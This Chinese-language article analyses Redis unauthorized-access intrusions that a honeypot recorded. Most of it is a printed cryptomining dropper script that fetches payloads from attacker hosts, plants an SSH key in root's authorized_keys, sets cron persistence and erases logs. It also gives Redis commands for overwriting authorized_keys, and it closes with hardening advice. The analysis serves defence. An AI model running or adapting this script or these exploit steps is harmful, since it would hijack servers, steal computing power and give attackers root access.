千家信息网

如何进行利用redis未授权访问漏洞进行挖矿的分析

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,今天就跟大家聊聊有关如何进行利用redis未授权访问漏洞进行挖矿的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。近期,分布式蜜罐再次捕捉到
千家信息网最后更新 2026年11月03日如何进行利用redis未授权访问漏洞进行挖矿的分析

今天就跟大家聊聊有关如何进行利用redis未授权访问漏洞进行挖矿的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

近期,分布式蜜罐再次捕捉到一些利用REDIS 未授权漏洞进行入侵的行为.

为了理解问题的严重性,我们设置了可公开使用的Redis服务器作为蜜罐,记录流量并对其进行分析。在不到24小时内,我们的服务器开始接受到大批的恶意攻击 - 漏洞扫描,简单的加密挖掘感染和加密挖掘蠕虫,就像RedisWannaMine 那样。

一 . 利用原理分析

攻击原理非常简单 - 攻击者在内存中设置一个键/值对,然后将其保存到磁盘中的文件中,该位置将强制文件运行(例如/ etc / crontabs,/ var / spool / cron / crontab等)。

49.234.81.16:53038 已经连接pingconfig setflushallconfig setset 1 */1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |shconfig setsaveconfig setsaveconfig setsaveconfig setconfig setflushall

攻击者先尝试对不设置密码的redis或者若密码的redis服务器进行连接,然后执行脚本,创建定时任务.

   #!/bin/shsetenforce 0 2>dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/nullsync && echo 3 >/proc/sys/vm/drop_cachescrondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/sysupdatesrtdir="/etc/sysupdates"bbdir="/usr/bin/curl"bbdira="/usr/bin/cur"ccdir="/usr/bin/wget"ccdira="/usr/bin/wge"mv /usr/bin/wget /usr/bin/getmv /usr/bin/xget /usr/bin/getmv /usr/bin/get /usr/bin/wgemv /usr/bin/curl /usr/bin/urlmv /usr/bin/xurl /usr/bin/urlmv /usr/bin/url /usr/bin/curminer_url="https://de.gsearch.com.de/api/sysupdate"miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"miner_size="854364"sh_url="https://de.gsearch.com.de/api/update.sh"sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"config_url="https://de.gsearch.com.de/api/config.json"config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"config_size="4954"scan_url="https://de.gsearch.com.de/api/networkservice"scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"scan_size="2584072"watchdog_url="https://de.gsearch.com.de/api/sysguard"watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"watchdog_size="1929480"kill_miner_proc(){    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9    ps ax|grep -o './[0-9]* -c'| xargs pkill -f    pkill -f biosetjenkins    pkill -f Loopback    pkill -f apaceha    pkill -f cryptonight    pkill -f stratum    pkill -f mixnerdx    pkill -f performedl    pkill -f JnKihGjn    pkill -f irqba2anc1    pkill -f irqba5xnc1    pkill -f irqbnc1    pkill -f ir29xc1    pkill -f conns    pkill -f irqbalance    pkill -f crypto-pool    pkill -f minexmr    pkill -f XJnRj    pkill -f mgwsl    pkill -f pythno    pkill -f jweri    pkill -f lx26    pkill -f NXLAi    pkill -f BI5zj    pkill -f askdljlqw    pkill -f minerd    pkill -f minergate    pkill -f Guard.sh    pkill -f ysaydh    pkill -f bonns    pkill -f donns    pkill -f kxjd    pkill -f Duck.sh    pkill -f bonn.sh    pkill -f conn.sh    pkill -f kworker34    pkill -f kw.sh    pkill -f pro.sh    pkill -f polkitd    pkill -f acpid    pkill -f icb5o    pkill -f nopxi    pkill -f irqbalanc1    pkill -f minerd    pkill -f i586    pkill -f gddr    pkill -f mstxmr    pkill -f ddg.2011    pkill -f wnTKYg    pkill -f deamon    pkill -f disk_genius    pkill -f sourplum    pkill -f polkitd    pkill -f nanoWatch    pkill -f zigw    pkill -f devtool    pkill -f systemctI    pkill -f WmiPrwSe            pkill -f sysguard                    pkill -f sysupdate                            pkill -f networkservice    crontab -r    rm -rf /var/spool/cron/*}downloads(){    if [ -f "/usr/bin/curl" ]    then         echo $1,$2        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            curl --connect-timeout 10 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            curl --connect-timeout 10 --retry 100 $1 > $2        else            curl --connect-timeout 10 --retry 100 $3 > $2        fi    elif [ -f "/usr/bin/cur" ]    then        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            cur --connect-timeout 10 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            cur --connect-timeout 10 --retry 100 $1 > $2        else            cur --connect-timeout 10 --retry 100 $3 > $2        fi    elif [ -f "/usr/bin/wget" ]    then        wget --timeout=10 --tries=100 -O $2 $1        if [ $? -ne 0 ]        then                wget --timeout=10 --tries=100 -O $2 $3        fi    elif [ -f "/usr/bin/wge" ]    then        wge --timeout=10 --tries=100 -O $2 $1        if [ $? -eq 0 ]        then            wge --timeout=10 --tries=100 -O $2 $3        fi    fi}kill_sus_proc(){    ps axf -o "pid"|while read procid    do            ls -l /proc/$procid/exe | grep /tmp            if [ $? -ne 1 ]            then                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"                    if [ $? -ne 0 ]                    then                            kill -9 $procid                    else                            echo "don't kill"                    fi            fi    done    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid    do            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"            if [ $? -ne 0 ]            then                    kill -9 $procid            else                    echo "don't kill"            fi    done}kill_miner_prockill_sus_procif [ -f "$rtdir" ]then        echo "i am root"        echo "goto 1" >> /etc/sysupdate        chattr -i /etc/sysupdate*        chattr -i /etc/config.json*        chattr -i /etc/update.sh*        chattr -i /root/.ssh/authorized_keys*            chattr -i /etc/networkservice        if [ ! -f "/usr/bin/crontab" ]                then                         echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}                else                        [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -        fi        chmod 700 /root/.ssh/        echo >> /root/.ssh/authorized_keys        chmod 600 root/.ssh/authorized_keys        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh4HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys                        cfg="/etc/config.json"        file="/etc/sysupdate"        if [-f "/etc/config.json" ]        then                filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`                if [ "$filesize_config" -ne "$config_size" ]                       then            pkill -f sysupdate                        rm /etc/config.json            downloads $config_url /etc/config.json $config_url_backup                else                        echo "no need download"                fi        else                downloads $config_url /etc/config.json $config_url_backup    fi        if [ -f "/etc/sysupdate" ]    then            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`            if [ "$filesize1" -ne "$miner_size" ]             then                pkill -f sysupdate                rm /etc/sysupdate                downloads $miner_url /etc/sysupdate $miner_url_backup            else                echo "not need download"            fi    else            downloads $miner_url /etc/sysupdate $miner_url_backup    fi        if [ -f "/etc/sysguard" ]    then            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`            if [ "$filesize1" -ne "$watchdog_size" ]             then                pkill -f sysguard                rm /etc/sysguard                downloads $watchdog_url /etc/sysguard $watchdog_url_backup            else                echo "not need download"            fi    else            downloads $watchdog_url /etc/sysguard $watchdog_url_backup    fi    downloads $sh_url /etc/update.sh $sh_url_backup    if [ -f "/etc/networkservice" ]    then            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`            if [ "$filesize2" -ne "$scan_size" ]             then                pkill -f networkservice                rm /etc/networkservice                downloads  $scan_url /etc/networkservice $scan_url_backup            else                echo "not need download"            fi    else            downloads $scan_url /etc/networkservice $scan_url_backup    fi    chmod 777 /etc/sysupdate    ps -fe|grep sysupdate |grep -v grep    if [ $? -ne 0 ]    then                cd /etc                echo "not root runing"                sleep 5s                ./sysupdate &    else                echo "root runing....."    fi        chmod 777 /etc/networkservice    ps -fe|grep networkservice |grep -v grep    if [ $? -ne 0 ]    then                cd /etc                echo "not roots runing"                sleep 5s                ./networkservice &    else                echo "roots runing....."    fi    chmod 777 /etc/sysguard    ps -fe|grep sysguard |grep -v grep        if [ $? -ne 0 ]            then                echo "not tmps runing"                cd /etc                chmod 777 sysguard                sleep 5s                ./sysguard &            else                echo "roots runing....."        fi    chmod 777 /etc/sysupdate    chattr +i /etc/sysupdate        chmod 777 /etc/networkservice        chattr +i /etc/networkservice    chmod 777 /etc/config.json    chattr +i /etc/config.json    chmod 777 /etc/update.sh    chattr +i /etc/update.sh    chmod 777 /root/.ssh/authorized_keys    chattr +i /root/.ssh/authorized_keyselse    echo "goto 1" > /tmp/sysupdates    chattr -i /tmp/sysupdate*        chattr -i /tmp/networkservice    chattr -i /tmp/config.json*    chattr -i /tmp/update.sh*            if [ ! -f "/usr/bin/crontab" ]        then                         echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}        else                        [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -        fi        if [ -f "/tmp/config.json" ]        then                filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`                if [ "$filesize1" -ne "$config_size" ]                then            pkill -f sysupdate                        rm /tmp/config.json            downloads  $config_url /tmp/config.json $config_url_backup                else                        echo "no need download"                fi        else                downloads $config_url /tmp/config.json $config_url_backup        fi    if [ -f "/tmp/sysupdate" ]    then            filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`        if [ "$filesize1" -ne "$miner_size" ]         then                pkill -f sysupdate                rm /tmp/sysupdate                downloads $miner_url /tmp/sysupdate $miner_url_backup        else                echo "no need download"        fi    else            downloads $miner_url /tmp/sysupdate $miner_url_backup    fi    if [ -f "/tmp/sysguard" ]    then            filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`            if [ "$filesize1" -ne "$watchdog_size" ]             then                pkill -f sysguard                rm /tmp/sysguard                downloads $watchdog_url /tmp/sysguard $watchdog_url_backup            else                echo "not need download"            fi    else            downloads $watchdog_url /tmp/sysguard $watchdog_url_backup    fi    echo "i am here"    downloads $sh_url /tmp/update.sh $sh_url_backup    if [ -f "/tmp/networkservice" ]    then         filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`        if [ "$filesize2" -ne "$scan_size" ]          then                pkill -f networkservice                    rm /tmp/networkservice                downloads $scan_url /tmp/networkservice $scan_url_backup        else                echo "no need download"        fi    else            downloads $scan_url /tmp/networkservice $scan_url_backup    fi    ps -fe|grep sysupdate |grep -v grep        if [ $? -ne 0 ]            then                echo "not tmp runing"                cd /tmp                chmod 777 sysupdate                sleep 5s                ./sysupdate &            else                echo "tmp runing....."        fi        ps -fe|grep networkservice |grep -v grep        if [ $? -ne 0 ]            then                echo "not tmps runing"                cd /tmp                chmod 777 networkservice                sleep 5s                ./networkservice &            else                echo "tmps runing....."        fi    ps -fe|grep sysguard |grep -v grep        if [ $? -ne 0 ]            then                echo "not tmps runing"                cd /tmp                chmod 777 sysguard                sleep 5s                ./sysguard &            else                echo "tmps runing....."        fi    chmod 777 /tmp/sysupdate    chattr +i /tmp/sysupdate        chmod 777 /tmp/networkservice        chattr +i /tmp/networkservice        chmod 777 /tmp/sysguard        chattr +i /tmp/sysguard    chmod 777 /tmp/update.sh    chattr +i /tmp/update.sh    chmod 777 /tmp/config.json    chattr +i /tmp/config.json        fiiptables -Fiptables -Xiptables -A OUTPUT -p tcp --dport 3333 -j DROPiptables -A OUTPUT -p tcp --dport 5555 -j DROPiptables -A OUTPUT -p tcp --dport 7777 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -I INPUT -s 43.245.222.57 -j DROPservice iptables reloadps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_history

攻击者通常设置包含下载外部远程资源并运行它的命令的值。比如还可以添加SSH密钥,攻击者可以远程访问服务器并将其接管.

远程下载脚本更新.
直接查找别的挖矿进程并尝试结束他们.

利用cron设置定时任务, 并利用authorized获得登陆权限 ,

是不是很有趣!

对外公开的蜜罐24小时内监测到90000多次的来自大量的IP针对redis服务的恶意尝试,利用的方式大同小异, 首先连接后,利用通过ssh-keygen创建一对秘钥, 再利用公钥生成攻击键值, (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt ,

再配置Key到Redis中, cat foo.txt |redis-cli -h 117.20.**.** -x set bar

再通过Redis保存机制替换系统文件.

> config set dir /root/.sshOK

> config get dir1) "dir"2) "/root/.ssh"

> config set dbfilename "authorized_keys"OK

> save

> exit

二 . 利用redis未授权漏洞入侵的一些必要的条件:

(1)需要开放的redis服务对外开放.Redis的密码不能过于复杂,或者没有密码;

(2) redis服务最好是以root用户运行,破坏力更强;

三 redis未授权访问漏洞的危害

(1).redis里保存的数据泄露

(2). 被提权后控制整个主机

四. 如何防范redis未授权漏洞被利用

为了保护Redis服务器免受此类攻击的伤害,建议管理员永远不要将其服务器暴露给Internet,但如果需要,请应用身份验证机制以防止未经授权的访问。

   另外,由于Redis不使用加密技术并以纯文本形式存储数据,因此您绝不应将敏感数据存储在这些服务器上。

防范的思路如下:

(1)Redis不要监听在危险IP上,如果有请加网络防火墙规则控制;

(2)Redis一定要增加密码限制,且绝对不能是弱口令;

(3)LINUX 系统下Redis尽量不要用Root用户身份来启动。Windows系统下不要以system权限运行

看完上述内容,你们对如何进行利用redis未授权访问漏洞进行挖矿的分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

服务 攻击 漏洞 服务器 密码 分析 攻击者 运行 内容 数据 文件 系统 蜜罐 加密 尝试 任务 原理 小时 恶意 机制 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网高科技 上海睿民互联网科技有限公司 互联网科技的发展 华宇互联网科技 平安科技 互联网 亿策互联网科技 互联网科技视频素材 互联网科技公司介绍 佰商互联网科技有限公司 中国互联网金融科技基金 互联网大会黑科技排名 互联网科技有哪些公司 昭通互联网科技选哪家 荆州市昕露互联网络科技有限公司 宜昌元轩互联网科技有限公司 佛山市翊博互联网络科技有限公司 滨湖区互联网智能科技产品有哪些 35岁以上互联网科技行业 互联网科技新闻 10位科技互联网大佬 美国互联网科技巨头监管 银川新华互联网科技学校地址 创业天下互联网科技有限公司 港股科技和互联网 迪庆互联网科技招生 北京天晋互联网科技有限公司 山东蛋芒互联网科技有限公司 重庆科技产业互联网有哪些 互联网科技创业有什么好项目 广州全民伙伴互联网科技有限公司
0